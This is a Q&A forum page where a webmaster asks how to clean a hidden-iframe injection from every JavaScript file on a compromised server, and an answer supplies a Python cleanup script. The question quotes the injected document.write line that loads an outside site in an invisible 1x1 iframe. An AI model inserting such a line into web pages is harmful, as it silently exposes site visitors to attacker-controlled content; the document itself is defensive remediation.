Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 5983599
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 22, 20262026-05-22T22:15:15+00:00 2026-05-22T22:15:15+00:00

Problem: I have web server that was recently compromised. They targeted javascript files. They

  • 0

Problem:
I have web server that was recently compromised. They targeted javascript files. They inserted the following snippet

document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>') 

this was added to the top of every single .js file on the server.

Solution:
Write a script to open every javascript file on my server that checks for malicious code, removes malicious code, and finally saves the file.

Question:
What programming language should the script be written in? Will python work? I’m running python 2.4.3 on my server. If I run a python script under root will I have to worry about accidentally changing the owner permissions of the modified files?

Thanks

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-22T22:15:15+00:00Added an answer on May 22, 2026 at 10:15 pm

    What programming language should the script be written in?

    Hardly matters.

    Will python work?

    Yes.

    If I run a python script under root will I have to worry about accidentally changing the owner permissions of the modified files?

    No. Not “accidentally”. You could change them if you did a really bad job coding.


    import os
    import shutil
    for path, dirs, files in os.walk( "some/root/dir" ):
        for f in files:
            name, ext = os.path.splitext( f )
            if ext == '.js':
                js= os.path.join( path, f )
                bak= js+"#"
                os.rename( js, bak )
                with open(bak,"r") as source:
                    with open(js,"w") as target:
                        for line in source:
                            if '<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750"' in line:
                                continue
                            target.write( line )
    

    Something like that should (more-or-less) work.

    if you need to set permissions or ownership, there are os module functions to allow settings file user, group, and permissions as appropriate.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

Problem: We have a web app that calls some web services asynchronously (from the
I recently encountered an odd problem with RSACryptoServiceProvider.VerifyHash . I have a web application
I have a problem with a oneway web method that open a moss site
I recently have a problem that my java code works perfectly ok on my
just simple question, recently i have setup a web server to build project using
I have a web site hosted in a CentOS 5-Plesk-Apache server. I have recently
The problem is I have a stored procedure that runs consistently in Sql Server
We have a local web server in our office that we use for some
I have a web server that displays a list of rooms and displays there
I have a web server that is running PHP 5.3.6 non thread safe (VC9),

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.